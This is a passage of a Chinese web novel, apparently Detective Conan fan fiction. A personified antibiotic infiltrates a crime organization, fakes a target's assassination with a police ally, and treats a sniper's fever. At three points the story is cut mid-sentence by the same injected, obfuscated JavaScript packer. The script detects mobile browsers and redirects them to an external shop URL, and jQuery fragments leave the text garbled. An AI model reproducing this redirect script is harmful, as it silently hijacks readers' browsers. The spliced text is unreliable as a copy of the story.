头孢歪了歪头:【巨噬细胞姐姐说过,涉及女性的事情最好当面询问意见。我还没再见过贝尔摩德。】
系统:【……】
尊重女性是这么用的吗?!而且你们那的细菌和细胞还分性别??
它突然抓住重点:【那你下次见到她……】
头孢用力点头:【没错,我会问她喜不喜欢魔女菌这个昵称。不过鉴于她很忙,或许下次联络时我就会问。】
系统:【???】
没等系统尖锐爆鸣,头孢的手机震了两下。接通后,贝尔摩德慵懒的嗓音传来:
“晚上好。今天过得如何?”
“你都知道了。”头孢陈述道。
另一端的女人轻笑:“当然。我接下来要给你一点组织生活小技巧——是不是该谢谢我?”
头孢思考了两秒,诚恳回答:
“谢谢你,魔女菌。你喜欢这个名字吗?”
贝尔摩德:“?”
系统:【啊啊你怎么能这么抽象啊啊啊!】
7. 七颗头孢
第二天早八点,安室透准时来到了医务室。
墙面没被泼漆,门锁完好无损。
在敲了三声后无人应答,安室透这才推开门,就被一股消毒水味糊了一脸。
桌面上的医疗器械被擦拭干净,地砖亮得能照清人脸,原本积灰的房间也彻底改头换面。而这一切改变的起源则站在房间中央,让安室透的心为之一颤。
“……你穿的什么?”
他声音卡在喉咙里,久久不能回神。
视线尽头,昨日穿着还算正常的白发青年换上了一套覆盖全身的白色防护服,护目镜、过滤面具一应俱全,手里还提着一台小型喷雾器。
听到声响,对方转身,声音透过面具闷闷传出:
“早上好,金毛菌。这是在魔女菌的提示下临时准备的考核战袍,你觉得怎么样?”
安室透太阳穴突突直跳:“……脱了。”
这里是犯罪组织,不是特摄片拍摄现场!谁会穿成宇宙人一样去做考核任务啊!!
以及魔女菌又是什么?贝尔摩德?
按住抽搐的眼角,安室透深吸一口气:“贝尔摩德是怎么跟你形容这份工作的?”
“她说工作内容是治疗病变细胞。”
安室透撇撇嘴,“真是奇怪的口癖……难以想象你们认识的过程。”
头孢认真叠好防护服,看向那对紫灰色的眼,语气平静:“是我救了她。”
“救?”金发男人一挑眉。
觉得没什么不能讲的,头孢如实相告:“是。上周我去医院面试失败,回公寓时碰见她被抢劫,于是我把坏细胞的枪缴械了。”
安室透大概猜到了结果:“所以她事后问你要不要工作,你就答应了?”
“她承诺的工资是医院的五倍,而且组织有完善的医保。”
安室透:“……”
这一刻,安室透对贝尔摩德的道德底线有了新的认知——这女人竟然连救命恩人都能骗进来打工!
他在组织待了20年,怎么不知道有医保?而且别人让你去工作你就去了?青岛纯生的戒备心简直堪比一只成年香蕉!
……也是,昨天他还以为青岛纯生拒绝田纳西的便当,是怕田纳西下毒,结果人家只是觉得冷食不健康。
不过,青岛纯生也是被意外卷入组织的人么。
心里嘟囔一句,安室透的态度缓和些许:
“走吧,事不宜迟,任务内容路上再说。”
得赶在田纳西来之前离开。那家伙因为加拿大受伤,最近和对方一起躺平无所事事,骚扰新人的时间充足得很。
尽管头孢的武力值高得吓人,可他被贝尔摩德拉进来是因为救命之恩,职业又是医生,故而这次的考核任务并不难,只是查看他的能力以及是否忠心而已。
“上田制药第三研究所,目标人物长谷川隼人,他是研究所的所长,同样负责一个极有潜力的药物研发项目。”
“不过由于之前的人打草惊蛇,长谷川已经两周没有离开研究所,警视厅也在试图接触他,所以我们要在警方行动前解决对方。”
马自达停在路边,安室透从储物格抽出文件夹递给副驾驶,开始说明:
“你的任务是以新研究员的身份潜入研究所,接近长谷川,窃取研究资料,然后在中午十二点整将他引到四楼阳台B区。”
头孢翻开文件夹,里面是研究所平面图、长谷川的照片和执勤表,最后一页夹了一块U盘。
“我把车停在这里,还有一段路你走过去。”安室透将一副金边眼镜递给他,一边补充:
“需要黑掉监控就给我个信号,拿到研究资料之后,你只需要把人带到指定位置,其他不用管。”
警视厅要保的人啊……
头孢接过眼镜戴上,是无度数的平光镜。他想了想,突然开口:
“狙击手是苏格兰?”
安室透瞥了他一眼,“贝尔摩德总算告诉了你有用的情报。”
看来她对这位救命恩人也不是那么不在乎。
“不,其实是我看到了他手上的茧。”头孢回忆,“狙击手的茧和惯用手|枪的人位置不一样。”
端详着对方一闪而过的怀念,安室透眯起眼,“你对枪很熟悉?”
头孢很坦诚,“我之前在美国。”
安室透:“…难怪。”
在美国啊,那太正常了,不玩枪就会被别人玩。可既然青岛纯生之前就在美国,贝尔摩德也在美国,那女人怎么不把人放到身边看管?
没再追问,安室透将车门解锁,最后叮嘱:“记住,十二点整,阳台B区,如果任务失败你知道会有什么后果。”
“明白。”头孢解开安全带,却在推门前动作一顿,“我能打个电话么?”
“打给谁?”
“之前住的酒店附近的便利店。”头孢面色如常,“来东京后这三天我习惯中午订他家的速食套餐C,但搬到医务室后出门时忘订了,可以么?”
讲究还挺多。不过这个安室透倒无所谓,“打吧。”
他听白发青年用平静的语气订购了一份速食套餐C,不要葱,米饭要硬一点,还不要水。
接线的店员声线模模糊糊传出来,似乎是个十分低沉的男声,还没等安室透听清,白发青年就挂断电话,推开车门。
“回见。”
“好,稍后联系。”
安室透目送他走远,按下耳机:“苏格兰。”
一封短讯躺到收件箱:[特别监视?]
安室透温和了眉眼,“是。接下来就拜托你了。”
他本没必要告诉青岛纯生,警方想要接触长谷川的,可他要试试这人对警察的反应。
如今看来,要么青岛纯生与警方无关,要么就是对方演技太好。那么接下来这段时间,如果青岛纯生完成任务,就暂且证明其忠于组织。
而如果对方试图在任务中留下活口,或是行动异常……
那可就有意思了。
*
直接以研究员的身份明目张胆地晃进研究所,头孢在前辈的带领下,很快便与长谷川隼人见了面。
系统苦口婆心:【我们要讨好长谷川,让他——】
头孢一推眼镜:“长谷川先生,您怎么看上去一脸倒霉样。”
系统:【啊啊啊啊啊!】
面对直白问候,前面的前辈脚下一滑,长谷川隼人则愣了一下,倒没有恼怒,反而无奈打了个哈哈:
“或许是又通宵了吧……你是新来的山田君?还真是直爽的性子啊。”
前辈一脸抱歉:“啊哈哈,是啊,山田君比较直接……”
长谷川笑了,“直接点好,现在太多人说话绕弯子了。跟我来实验室吧,上午可以就我们两个,不过你不熟悉进度,在我旁边帮忙就好,我有一组数据要重做。”
头孢颔首,“明白。”
长谷川表现得十分好说话,头孢便也顺着对方来到实验室,只有系统懵了:
【等等!你真要跟着做实验?组织可是让你早点搞到资料去汇合啊。】
头孢一边熟练地清洗器皿,一边在脑中回应:【只有取得信任,他才会暂时离开实验室给我操作空间,不是么?】
现在距约定时间还有两小时,况且——
【我不打算让长谷川死。】
系统一愣:【诶?什么意思?】
头孢没有回答。
他将烧杯放到处置箱里,在监控和长谷川看不到的死角手腕一翻,系统出品的超小针筒就出现在指缝间,又借着取药的时机,他绕到专注实验的长谷川身后。
十分钟后,头孢耳边传来了长谷川有些尴尬的声音:
“嘶…!抱歉山田君,我去下洗手间。剩下几个数据拜托你帮我记一下。”
头孢认真点头,“请放心。”
看着目标匆匆离开的背影,头孢拎着烧杯走向实验室隔间的办公室,一边敲敲耳机通知安室透,脑海中回答系统:
【这样就行了。】
系统叹为观止:【你昨晚兑换[强力无痕泻药]就为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149333|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这?!】
不对啊。昨晚贝尔摩德也没跟头孢说任务内容,难不成头孢料事如神?
【倒也不是。】
头孢扫了眼已然停止工作的监控,用从发小那学来的撬锁技能顺利捅开了门锁,钻进办公室,拷贝了研究资料就退了出去,在系统的期待下解释:
【因为你的商城只有泻药打折。】
系统:【……那也不用这么大喘气吧!】
果然,先前它觉得头孢靠谱就是错觉。这孩子到底什么环境下长大……
不对,这就是它一把屎一把尿养大的孩子啊!
瞬间套上滤镜,系统再次怜爱了:【这次就原谅你了,接下来你打算怎么办?】
【接下来会有人安排的。】
系统:【?】
什么安排?它怎么不知道?
疑惑间,突然门外一阵喧闹。头孢立刻放下手里的烧杯,拉开门,顿时浓烟涌入。
“着火了!!”
“快去灭…不行,火势太大了!”
不知具体方位的火情扩散得很快,门外的白大褂们惊恐逃窜,大声呼喊。
耳机里,安室透的声音难得紧绷:“你那边怎么回事?”
“只是着火了。”头孢很淡定。
安室透:???
什么叫只是着火了?这根本不在说好的计划里!
安室透立即给四百码外天台上的狙击手发去消息,不出意外得到了四楼有火情、还不小的反馈,握紧了手机。
四楼就是青岛纯生所在的实验室楼层,所以他才让对方把目标引去四楼阳台……这火情怎么这么巧!
[密切注意阳台的动向。]
发了条消息,安室透迟疑片刻,还是将车开到阳台那边。
他只是不想失去一个或许会好用的副手而已,而且青岛纯生是贝尔摩德的人,怎样都不能让对方死在考核里。
与此同时,整个四层都陷入到浓烟之中。
火势起得太快、太隐蔽,再加上这一层都是实验室,有很多危险药品,后续必然有连锁爆炸,如若不及时离开后果不堪设想。
知道这一点,距离四百码外的天台上,苏格兰眯起眼,滤掉无关的干扰,终于在十秒后等到了阳台门被粗暴撞开。
浓烟如决堤般汹涌而出,瞬间吞噬了阳台大半空间,可他依旧捕捉到了那头显眼的白发,以及对方身前的人影。
——粗眉、黑色短发、眼袋大得垂到鼻子,的确是长谷川没错。
对方似乎被青年钳制住了手臂,脸上神色惊恐,后腰上有什么闪亮亮的东西抵着,苏格兰看出是手术刀。
而白发青年则满脸冷漠,仿佛根本不在乎身后夺命的浓烟,也不在乎身前人的性命,只是一步步推着中年人走上了阳台边缘。
他们站到了预定的狙击点。
苏格兰指尖搭在扳机上,直至中年人尖叫着被白发青年往前一推,十字星对准长谷川的额头,扳机扣动,子|弹疾射而出!
“——砰!!”
巨大的轰鸣被距离柔化开。
镜头里,长谷川向后猛地一仰,额前炸开一团血花,身体像突然被抽掉了所有骨骼,软塌塌地倒在阳台的地砖上,再无动静。
烟雾被子|弹扰动。
阳台上,只剩一人独立。
白发青年缓缓抬眸,隔着四百码的距离、硝烟与尚未散尽的死亡气息,望进苏格兰的眼里。
准镜之下,苏格兰甚至能透过金边眼镜,看清对方雪白的眼睫、睫毛阴影下敛起的双眼。
那双黑眸平静得宛如深渊,没有任务完成后的惊喜,没有间接促成一条人命逝去的动摇,甚至没有烟雾与呛咳带来的生理性眼泪。
他就那么看着,而后从容地从口袋里取出一片独立包装的湿巾,擦掉脸颊上的一点猩红,又将湿巾放入包装里。
做完这一切,对方才重新抬眼,朝着他的方向轻轻颔首,同时点点耳机——
“合作愉快。”
白发青年比了个口型。
8.八颗头孢
长谷川睁开了眼睛。
没有浓烟,没有灼热。火舌刚舔上实验室门框时,他已经根据神秘短信的指示,来到了研究所的一楼。
结果后脑勺就传来精准一击,随后视野黑了个干脆利落。
他动动僵硬的脖子,发现自己那件被试剂染得乱七八糟的白大褂不翼而飞,取而代之的是一套略显宽大的清洁工制服,布料粗糙,还带着股烧烤味。
心脏猛地一沉,他迅速环顾四周。
这是一间陈设简单却不失美感的房间,紧闭的窗帘隔绝了正午的阳光,让室内看上去有些昏暗。对面椅子上则坐了一个人,高大的身形几乎融入阴影。
长谷川惊疑不定,“你——”
“安静。”
“咔嗒。”
清脆的声音打断了他。椅子上的人将把玩着的打火机扣上,缓缓抬头。
黑色风衣裹住全身,银色长发从帽檐下流出,在昏暗的房间内冷得像月光。
最慑人的是那双眼睛——在帽檐阴影里直视过来,像黑暗中锁定猎物的狼,冰冷、审视,带着不容置疑的压迫感。
长谷川的呼吸瞬间滞住,冷汗倏地浸透内衫。
他是什么人?为什么要抓自己?难不成是那个组织终于得逞,他们——
“长谷川先生,请不必紧张。”
啪嗒一声,是开关打开的声响,与光亮一同降临的是自床边而来的另一道声音。
床边站着的刺猬头男人扶了扶眼镜,语气带着公务性质的安抚,“午好,我们是警视厅的公安。”
“……公安?”长谷川一怔。
他混乱的记忆里终于闪回几个模糊的电话通讯和邮件内容。确实,近期有自称公安的人试图联系他,但年轻时某些不甚愉快的经历让他对这个词敬而远之。
那现在……是公安救了他?可你们这个救援方式也太离谱了吧!
尽管对救援方式颇有微词,可能活下来就是万幸。见他平静下来,从开场就说了几个字的银发男人终于起身,却并未跟他说话,而是将手边的一个文件夹甩给刺猬头,后者连忙接住:
“等一下,黑泽先生,您——”
名为黑泽的男人压低帽檐,“后续你跟他说,风见,我还有事先回去。”
风见立刻反应过来:“是……要去见青岛君吗?”
黑泽阵没再说话,径直拉开门走了出去。
走廊里,他点燃一支烟,猩红的光点在指间明明灭灭。
这里是公安临时订的酒店钟点房。一小时前,他接到一通电话,对面订购了一份速食套餐C,不要葱,米饭要硬一点,还不要水。
熟悉的声线和暗语让他立即作出反应,知道电话里说的是最近公安一直关注的长谷川隼人。
对方处境危险,需要立刻转移,动静越大越好,最好让他‘挨枪子’。
于是当时在警视厅对着文件发呆的黑泽阵立刻调动人手,安排了李代桃僵的戏码,用一个易容后的死刑犯换出了真正的长谷川。
而提出这个计划的,正是他的发小——青岛纯生。
“哼,真是大胆的决定。”
明明还在考核期,就敢这么明目张胆地通知他捞人?估计也只有那个人干得出来。
站在窗台前,黑泽阵对着窗外的车水马龙吐出一口烟,银发被风微微拂动。
他捏着烟默默抽完,片刻后,将烟蒂仔细碾灭在便携烟盒里,转身离开,嘴角掠过一丝极淡的、几乎看不见的弧度。
“不过,合作愉快。”
【你说的后手就是黑泽阵?】
马自达接到人时,头孢的白大褂下摆已经被熏黑了。
他用特制的干洗剂擦了擦衣角,上车,把U盘递给安室透。随后他将伪装用的眼镜取下,又开始认真擦拭镜片上的烟灰,一边回答系统:
【是,我不是说要一份速食套餐C,不要葱不要水,米饭要硬一点么?意思就是这里有个你们要接触的人,不要打草惊蛇,场面搞大点,我这边需要他挨枪子。】
系统哽住:【你们俩的对话正常人类谁能听得出来啊!】
头孢擦镜片的手一顿,略显疑惑:【听懂了那还叫暗号?】
系统:【。】
它的救世主怎么是这种性格汪呜汪呜呜呜!
头孢:?
听着类似漏电的啜泣声,虽然不清楚系统在哭什么,可头孢还是搓搓那颗圆润的光球,权当安慰。
头孢看着金发男人将U盘插|入电脑,浏览其中内容,索性在等待狙击手的时间里看向窗外。
黑泽阵是头孢的第一个任务对象,也是他的发小兼联络人。
二十年前,从天而降的头孢砸在黑泽阵身上,阴差阳错救下了当时被从俄罗斯拐卖到日本、即将被丢上人工岛的黑泽阵。
系统那时虽然虚弱,可还是为他们安排了合理的身份——来日本旅游但父母因为海难尸骨无存的中俄重组家庭小孩,让两个无依无靠的‘异类’在横滨中华街安家,互相依存着生长。
独有的暗号、纠缠在一起的履历……二十年,他们了解彼此犹如了解自己另一部分灵魂。
因此,当头孢知晓由于规则束缚,平衡世界需要弥补红方阵营缺失的力量,而FBI那边有人了,所以他只能加入日本警方之后,黑泽阵便毫不犹豫地跟他一起考进了警校。
就是毕业分配时出了点‘意外’。
公安负责人盯着黑泽阵那张过于有冲击力的脸,以及对方浑身散发的生人勿近气场,沉默了足足五分钟,最终拍了拍头孢的肩膀,语重心长:
“卧底的任务还是你去吧,青岛君,你从名字上来看都和这个组织很有缘分哈哈!黑泽君,嗯……他更适合在阳光下发挥才干。”
言下之意是:你这位同学长得太像反派大佬了,放出去卧底怕不是放虎归山。
而且你看你都叫啤酒了,和以酒为代号的组织颇有渊源啊,你不去卧底谁去?
至于黑泽阵——
“我会爬到能看着你的地方。”
樱花纷飞的毕业典礼上,银发男人站在樱树下,将本该戴在头上的警帽放在一边,跟白发青年一起看向西方,好半晌才嗤了一声:
“免得你这家伙又莫名其妙消失在人海里。”
头孢当时眨了眨眼,认真回应:“我的发色应该不至于消失在人海里。而且我是妖精,你忘了么?”
他消失在人海里?是化了还是被口服了?
黑泽阵:“……”
“不过,”头孢看向远方,“组织覆灭后,我会回家看看,那边的人类确实很多。”
头孢下意识给对方找回场子,尽管这个场子貌似是他自己砸的——可他想看雪也是真的。
那时候,小阵应该会跟他一起回家吧?
虽然他们都上了一条贼船,日后脱身会有点麻烦。
“咔哒。”
回忆被车门锁打开的声音戳碎。
头孢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153084|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回过神,戴着兜帽、脸有些发红的男人坐到他身边——并不是副驾驶的位置。
安室透从后视镜瞥了他一眼,便移开视线看向白发青年,开口道:“资料是对的。当时的火灾是怎么回事?”
“可能是哪个实验室的违规操作。”
头孢将擦得锃亮的眼镜收好,转头迎上安室透审视的紫灰色眼眸,“说起来,训练营的医务室连个灭火器都没有,是不是该申请配一套?”
安室透嘴角一抽:“你还想回那个鬼地方?”
“魔女菌派我来当医生,不就是训练营的医生?”头孢反问,表情坦然。
[魔女菌?]
看着递来的便签本,安室透有点头疼地解释:“他对贝尔摩德的爱称。我们的青岛先生显然对人类的形态和名字不那么满意,致力于用药理学词汇给所有人重新命名。”
苏格兰猫眼微微睁大,露出‘还能这么玩?’的微妙表情,隐隐透出‘那我叫什么?’的好奇。
安室透看懂了,忍着笑,故意沉声道:“猫眼菌。”
苏格兰:“…??”
这名字听起来怎么不太对劲?
憋着笑看了眼手机,还没到最晚的规定时间。安室透在确定那具尸体的血型与已知的长谷川血型相同后,便清了清嗓子,宣布考核结果:
“任务完成得不错,你合格了,青岛纯生。”
头孢第一反应是:“那我的医保是从下个月开始缴纳?”
安室透额角青筋一跳,扯出一个完美假笑:“当然。而且鉴于你对训练营情深意重,你今后就住在那里吧,有任务我会告诉你。”
别惦记你那个破医保了!在组织你还不如买个人身意外险呢!
头孢在脑中呼唤系统:【金毛菌说医保都能缴了,任务完成提示在哪?】
他很疑惑,【难不成你的任务也和医保一样次月生效?】
系统从自闭中憋出来一句:【怎么可能!肯定是有哪里不对!】
难道是头孢任务完成得太快,卡bug了?不应该啊。
何况任务发布其实是按照世界修复需要生成的指引,怎么想都不会出问题吧?除非——
这个任务没有看上去那么简单。
系统陷入了沉思。
任务描述里说,请如法炮制此前的任务模式。之前的任务里头孢极力保护波本,那么如法炮制就是保护组织成员?
嘶……好像还真行!
他们完全可以先保护黑方、刷满好感,之后从黑方口中套出组织情报,把最大的黑恶势力一举歼灭,这样红黑平衡的目的就达到了啊!
就这么干!
【宿主——】
系统猛地看向头孢,刚要提醒,却见自家宿主的视线不知何时落在了身旁的苏格兰身上。
狙击手的警觉性极高,几乎在头孢视线聚焦的瞬间便绷紧身体,侧过头。
下一秒,苏格兰眼前白影一晃!
白发青年毫无预兆地倾身靠近,动作极快。苏格兰瞳孔骤缩,右手本能地摸向藏枪的位置,却迟了一步——
他的手腕被一只微凉、力道不容挣脱的手握住。
车内空气刹那凝固。
安室透的手无声搭上了枪柄,苏格兰嘴唇抿成一道直线,猫眼锐利地盯住近在咫尺的青年。
头孢抬起眼,雪白睫毛下,那对纯黑的眼平静得近乎诡异。他指尖搭在苏格兰的脉搏上,轻声开口:
“你——”
9.九颗头孢
“你有病。”
苏格兰/安室透/系统:?
生怕在场有谁没听清,头孢将身子向前倾了倾,用清晰到足以在寂静车厢里产生回声的音量重复:“我是说,你有病。”
苏格兰:“……?”
系统:【。】
很好,真是太智能了!不用它提醒,宿主自己就知道怎么精准踩雷哈哈哈……
【啊啊啊你这么得罪他以后怎么在组织立足嗷嗷嗷!!!】
对系统的尖叫置若罔闻,头孢继续用平稳得仿佛读实验报告的语调道:“你有病,在这里。”
他说着抬手,拨开男人的额发,直接贴上了对方饱满的额头。
苏格兰藏得很好。若非头孢是药物成精,有着药物对疾病的天然感知力,他最多只会觉得这位狙击手的脸色比平常红润些。
掌心下的温度烫得惊人,让头孢皱了皱眉。而一向警觉的苏格兰竟慢了半拍才反应过来,却并未感到冒犯。
他甚至为这句话之前夸张的铺垫感到一丝好笑,紧绷的神经稍稍松懈。然而下一秒,一股极淡的冷香随着呼吸侵入鼻腔,陌生的灼热感突然从接触点炸开,迅速窜向四肢百骸。
原本因低烧而泛红的脸颊温度飙升,心跳失控般狂跳。
准镜后永远冷静锐利的猫眼不受控制地蒙上一层生理性水雾,视野瞬间模糊。
苏格兰很茫然。
怎么回事?发生了什么?是发热加重了?
呼吸,不,他根本没办法呼吸……喉咙像被无形的手扼住,只能徒劳地张合。
于是从头孢的角度,就发现男人似乎想要说什么,却始终无法说出口,末了就连耳尖都烧得通红。善解人意的头孢干脆凑得更近,以额头抵住对方的额头,鼻尖相贴。
在识海与前方驾驶座同时响起的倒吸气声中,他下了结论:
“嗯,你发烧了。”
金毛菌淋雨发烧,猫眼菌在天台吹风发烧,这个世界的杂菌体格弱得可以,真令他开心。
前排,目睹全程的安室透张了张嘴,终于反应过来:“你说苏格兰发烧了?”
“对。”头孢点头。
安室透迅速看向猫眼男人。印象中如植物般安静、存在感稀薄的狙击手此刻格外沉默,脸上是他以为的由奔跑造成的红晕,这么久没褪下去,显然不正常。
最关键的是,苏格兰没有反驳,连惯常的否认手势都没有。
所以苏格兰真的发烧了!
没有迟疑一秒,安室透立刻转身启动车子,声音压低:“那就回基地,去医务室拿……”
“只是退烧药恐怕不够。”头孢松开手,回忆着男人烫手的皮肤,想了想道:
“直接去医院好了。他眼睑发白,甲床青紫,除了发热,很可能还有贫血和心脏问题,去查查血红蛋白和心肌酶。”
安室透一怔,随即严肃了面孔,“我明白了。”
以他对苏格兰的了解,对方确实不在意身体,某种程度上来说甚至有轻度自虐倾向,但那通常限于忽略小伤小病。
而眼前这种高烧,更像是透支身体后的集中爆发,难不成——是最近的任务导致的?
苏格兰最近很忙。安室透不是没问过,但每次都被对方轻巧地带过话题。而可能知道任务详情的人……
啧。
正想着,视野边缘,一个便签本无声递过来:
[在医院门口放我下来即可,然后你就去做任务吧,波本。]
安室透心一沉:“你一个人?”
他的确还有任务,但不大不小。苏格兰这是想支走他?为什么?
“我陪他去就好。”
没有感受到两人间的气氛,头孢的声音插进来,平淡无波。他扫了眼将自己裹得严实的狙击手,在金发男人锐利的目光中补充道:
“不会让他坏掉的。”
得不到治疗,猫眼菌会死。虽然死了也能算一个杀菌指标,可那样他还怎么打入组织?
不错,头孢认为他没有完成任务的原因,就在于没能像之前得罪波本那样,得罪所有组织成员。而在他眼里,得罪=杀菌,所以他不应该采取怀柔策略,而是要积极投身到杀菌中,见一个杀一个!
可虽然希望杂菌立刻暴毙,可没有猫眼菌和金毛菌,意味着他没办法接触更多的杂菌。
——所以,在把能接触的代号成员都杀一遍之前,猫眼菌必须活着。
这段话说得理所当然。安室透迟疑地审视白发青年,却无法从那对漆黑的眼瞳里读出任何情绪。他看向苏格兰,后者对他几不可察地点了点头。
“……行。”安室透从牙缝里挤出这个词。
无论青岛纯生在打什么算盘,只要苏格兰有任何闪失,这家伙绝对跑不掉。
他将两人送至组织旗下的医院门口。头孢扶着脚步虚浮的苏格兰下车,走到门口却忽然停住,回头:
“对了,我之前在便利店订的便当——”
安室透一股无名火直冲头顶:“哈?你现在还惦记那盒便当?”
苏格兰烧傻了怎么办!
系统也担心:【你说苏格兰心脏有问题,这种东西也不能因为要回头去取便当耽搁啊!】
不然苏格兰有问题,你到什么地方哭去!
头孢想了想也是,“那拜托你帮我带来,不然饭菜会凉。”
安室透:?
你就一定要那个破便当是吧!
他冷笑一声,眼底寒光闪动:“行,你等着。如果我回来时苏格兰没好转,我拿你是问。”
砰!车门被用力关上。
得到便利店地址的安室透阴沉着脸,目送两人消失在医院大门内。沉默片刻,他掏出手机,拨通一个号码:
“喂,你知道最近苏格兰在做什么吧?田纳西。”
“说给我听,我和你做个交易。”
*
医院,单人病房。
安室透选择的私人医院坐落在富人区,隐私性极强,且是组织产业。头孢和苏格兰一来就走了特别通道,甚至有专人前来病房抽血化验。
【宿主,你是不是早有预谋?】
系统看着头孢陪同猫眼男人来到病房,抽血、听诊、等待结果,在识海里压低声音,神秘兮兮:【你猜到了任务完成方式,才故意送他来医院?】
头孢想了想,平静回复:【算是。】
只要把菌得罪个遍(杀一圈),任务必能完成!
系统:!
果然……果然啊!宿主之前的行动果然是深谋远虑,他就说自己养大的孩子,怎么可能那么莽撞就得罪组织成员嘛!
这一定是头孢计划里的一部分!
没理会系统的头脑风暴,头孢看向卷起袖子、按住手臂上棉签的男人。
对方低垂着眼睫,浓密阴影掩去了那对湛蓝湖泊中所有的情绪,看起来很安静,安静得近乎温驯,很难想象是一只会夺胞性命的杂菌。
头孢试着套情报:“你最近熬夜?”
苏格兰顿了顿,轻轻点头,拿出手机打字:[你是怎么发现的?]
“发现什么?熬夜?因为你的黑眼圈要比眼睛大了。”
[……不,是发现我有病。]
头孢双手揣进白大褂口袋,站到男人面前,微微俯身,让声音恰好落入对方耳中:
“我告诉过金毛菌,我能嗅到犯罪和生病的味道。而你上车后,我闻到了发烧的气味。”
苏格兰:?
嗅到生病的味道……是什么?字面意思?
想起对方凑近时额头相贴的触感,苏格兰不自然地抿起唇,总觉得这话有点怪,就听对方又道:
“以后如果有任何不适,都可以来训练营的医务室找我。”头孢的声音没什么起伏,“随时。”
[……我们之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168320|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间应该没有直接的利益关系。]苏格兰打字。
确切说是没有任何关系。青岛纯生现在说这些,是为了回报之前他在基地里的‘护送’?
头孢沉思两秒,找了个措辞,“因为我是医生。”
更重要的是,紫色杆菌和金毛菌貌似同属情报组,而自己目前认识的行动组只有猫眼菌,对方要是死了,这根线就断了,会影响后续的杀菌大业。
不忍杀一只还是忍一时杀一群,这笔账他还是有数的。
就在苏格兰因为这句话愣神之际,病房门被猛地推开。两人警觉扭头,只见十分钟前来抽血的护士和医生冲了进来,脸色煞白,发出尖锐爆鸣:
“血红蛋白太低了!还有这几项指标…血小板、白血球……心肌酶倒是没什么。但总之苏格兰大人,您必须立刻——”
“准备输液吧。”
头孢打断二人的惊呼。他上前一步,从呆滞的医生手中抽出报告单,快速浏览,随后抬头,目光扫过医生白大褂的胸前口袋。
他伸手,抽走了那支别在上面的中性笔,动作自然得像是拿自己的东西。
在医生和护士茫然的注视下,他在报告单背面唰唰写下几行字,塞回医生手里:“按这个方案配药,剩下的我来操作。”
“这……”医生与护士对视,被白发青年理所当然的气场震慑。
他们当然认识苏格兰——组织里鼎鼎有名的沉默狙击手,与波本大人关系密切。可这位白发青年是谁?凭什么指挥他们?
医生小心请示苏格兰:“苏格兰大人,您看……?”
苏格兰点了头。
医生和护士:!
医生和护士瞳孔地震。
这么信任吗?莫非这位也是波本大人和苏格兰大人的朋友?那不就是……另一位干部大人?!
不明觉厉。两人不敢多问,立刻退出去准备药品,连笔被顺走了都没注意。
头孢将中性笔插|进自己的口袋,对看过来的猫眼男人淡定地眨了下眼:
“解决了,等打针。”
系统欣慰极了:【不错!亲自治疗更能建立信任!你小子终于开窍了!】
头孢见系统不尖叫了,也满意点头:【我会努力的。】
——他会努力杀掉这群杂菌的。
药物很快就配好、送进来,病房里再次只剩他们两人。
头孢拿起输液管,排尽空气,想了想自然地执起苏格兰的右手。
他力道适中地拍打对方的手背,寻找清晰的静脉。苏格兰抖了一下,不适应肢体接触的他想要缩回手,却被头孢稳稳握住。
“血管长得很端正。”
头孢语气依旧平稳,俯身靠近。白色发丝随着动作扫过苏格兰的手臂,带来细微的痒意,后者看着青年专注的正脸,略有些晃神。
然后,他听见青年用那标志性的平淡语调说:
“忍着点,我要进去了。”
针尖刺破皮肤,滑入血管。
几乎同时,苏格兰的身体微不可察地僵硬一瞬,另一只手下意识攥紧了床单。
或许是因为被算得上陌生的青年如此近距离地握住手,亦或是因为那句容易引发歧义的话,男人耳尖尚未褪尽的红晕再次烧了起来,一路蔓延到脖颈,染上薄红。
他轻轻合上眼,睫毛剧烈颤动,如同受惊的蝶翼。头孢则专注看着回血,随后固定好针头,调整滴速……
然后就听‘砰!’的一声,病房门被以比刚刚更凶猛的力道撞开!
头孢:!
苏格兰:!
一人一妖精同时转头。苏格兰伸手摸枪,头孢手探入白大褂内袋,却见一个金发男人冲了进来。
对方将手里拎着的便利店购物袋狠狠甩过来,表情如便当盒里被挤压变形的章鱼Q|Q肠一样,抬高声音怒喝一声:
“青岛纯生!你对苏格兰做了什么?!!”
10.十颗头孢
安室透很愤怒。
其实他本没有这么愤怒的。
最开始只是在去领便当的路上,与讨人厌的田纳西交换情报而已。
情报界的无冕之王嬉笑着将苏格兰的动向告诉他,作为交换,安室透把青岛纯生的信息给卖了。交易很公平,两人各取所需,除了青岛纯生,理论上没有一人受到伤害。
——理论上。
